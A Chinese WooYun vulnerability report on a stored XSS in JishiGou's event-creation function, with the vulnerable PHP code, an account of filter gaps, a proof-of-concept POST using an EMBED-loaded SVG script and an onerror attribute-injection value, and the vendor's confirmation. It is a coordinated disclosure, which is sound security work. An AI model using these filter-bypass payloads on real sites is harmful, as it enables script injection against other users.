当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062059

漏洞标题:记事狗过滤不严导致存储型XSS

相关厂商:杭州神话

漏洞作者: BadCat

提交时间:2014-05-26 11:56

修复时间:2014-08-24 11:58

公开时间:2014-08-24 11:58

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-26: 细节已通知厂商并且等待厂商处理中
2014-05-27: 厂商已经确认,细节仅向厂商公开
2014-05-30: 细节向第三方安全合作伙伴开放
2014-07-21: 细节向核心白帽子及相关领域专家公开
2014-07-31: 细节向普通白帽子公开
2014-08-10: 细节向实习白帽子公开
2014-08-24: 细节向公众公开

简要描述:

记事狗某函数过滤不严导致的存储型XSS
因为太多奇艳的绕过方式了

详细说明:

问题出于 /jishigou/modules/ajax/event.mod.php 的 create()函数 (创建活动的函数)
这里直接贴完整个函数的代码

function create(){
if(!($this->MemberHandler->HasPermission($this->Module,$this->Code)))
{
json_error($this->MemberHandler->GetError());
}
$post = $this->Post;
$post['name'] = jpost('name', 'txt');
if(!$post['name']){
json_error("请输入活动标题");
}
$f_rets = filter($post['name']);
if($f_rets && $f_rets['error']){
json_error("活动标题".$f_rets['msg']);
}
if(!$post['content1']){
json_error("请输入活动描述");
}
$f_rets = filter($post['content1']);
if($f_rets && $f_rets['error']){
json_error("活动描述".$f_rets['msg']);
}
$post['address'] = jpost('address', 'txt');
if(!$post['address']){
json_error("请输入活动地址");
}
$f_rets = filter($post['address']);
if($f_rets && $f_rets['error']){
json_error("活动地址".$f_rets['msg']);
}
if($post['money_r'] == 'money' && !$post['money']){
json_error("请输入活动人均费用");
}
if($post['money_r'] == 'money' && !is_numeric($post['money'])){
json_error("活动人均费用应为数字");
}
if($post['qua']=='qua' && $post['fans'] && !is_numeric($post['fans_num'])){
json_error("粉丝数应为数字");
}
if(!$post['fromt']){
json_error("请输入活动开始时间");
}
if(!$post['tot']){
json_error("请输入活动结束时间");
}
if(!$post['hid_pic']){
json_error("请上传活动海报");
}
$fromt = strtotime($post['fromt']." ".$post['hour_select_from'].":".$post['min_select_from']);
$tot = strtotime($post['tot']." ".$post['hour_select_to'].":".$post['min_select_to']);
if($fromt >= $tot){
json_error("活动结束时间不能早于开始时间");
}
$verify = $this->Config['event_verify'] ? 0 : 1;
load::logic('event');
$eventLogic = new EventLogic();
if (MEMBER_ROLE_TYPE != 'admin') {
$is_allowed = $eventLogic->allowedCreate(MEMBER_ID,$this->Member);
}
if($is_allowed){
json_error($is_allowed);
}
$item = get_param('item');
$item_id = (int) get_param('item_id');
$return = $eventLogic->createEvent($post,$item,$item_id,$verify);
if(is_array($return)){
if($return) {
json_result("修改成功",$return);
} else {
json_error('修改失败');
}
}else{
$id = $return;
}
if(0 == $verify){
json_error('发布成功,等待管理员审核');
}
$value = '我发布了一个活动【'.$post[name].'】,地址:' . get_full_url($this->Config['site_url'],"index.php?mod=event&code=detail&id=$id");
if($post['top'] == 'top'){
$values = array(
'id' => $id,
'content' => $value,
'from' => '',
);
json_result('发布成功', $values);
}
$item_id = $id;
$msg = '发布成功';
include(template('vote/vote_toweibo'));
exit;
}


$post 即代表 $_POST
全部变量都有经过 jpost的处理 (进行htmlspecialchars, strip_tag)
唯有 $f_rets 变量只进行了filter函数的处理 ($_POST['content1'])
filter函数我们来看看~
由于代码太长我就不贴了
filter 函数主要是过滤了 <script><iframe><style><link><meta> 的HTML标签
过后又调用了 remove_xss 函数来进行过滤
remove_xss把javascript, vbscript, meta, script, object, iframe, frame, frameset, base等HTML标签给过滤掉了
而且还把全部的 onerror之类的东西给过滤了
但总还是有办法的,我来贴出POC (感觉我在长篇大论)
对 http://localhost/jishigou/ajax.php?mod=event&code=create 发出POST请求

name=blablabla
&content1=<EMBED SRC="http://localhost/aaa.html" type="image/svg+xml"></EMBED>
&address=aaa
&money_r=money
&money=1
&fans=1
&fromt=2014-05-21
&tot=2014-05-29
&hid_pic=aaa"onerror=alert(1)
&hour_select_from=20
&min_select_from=49
&hour_select_to=20
&min_select_to=49


fromt 是开始日期
hour_select_from 是开始日期的小时
min_select_from 是开始日期的分钟,其他不用说了吧
content1 我设置成了 <EMBED SRC="http://localhost/aaa.html" type="image/svg+xml"></EMBED>
SRC需放你的平台的个HTML文件...
http://localhost/aaa.html的源码是

<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="194" height="200" id="xss"><script type="text/ecmascript">alert("XSS");</script></svg>

漏洞证明:

GOOGLE CHROME和IE触发,但是FIREFOX没触发

Capture.JPG

修复方案:

用bbcode之类的东西吧

版权声明:转载请注明来源 BadCat@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-05-27 16:59

厂商回复:

非常感谢 BadCat@乌云 的反馈

最新状态:

暂无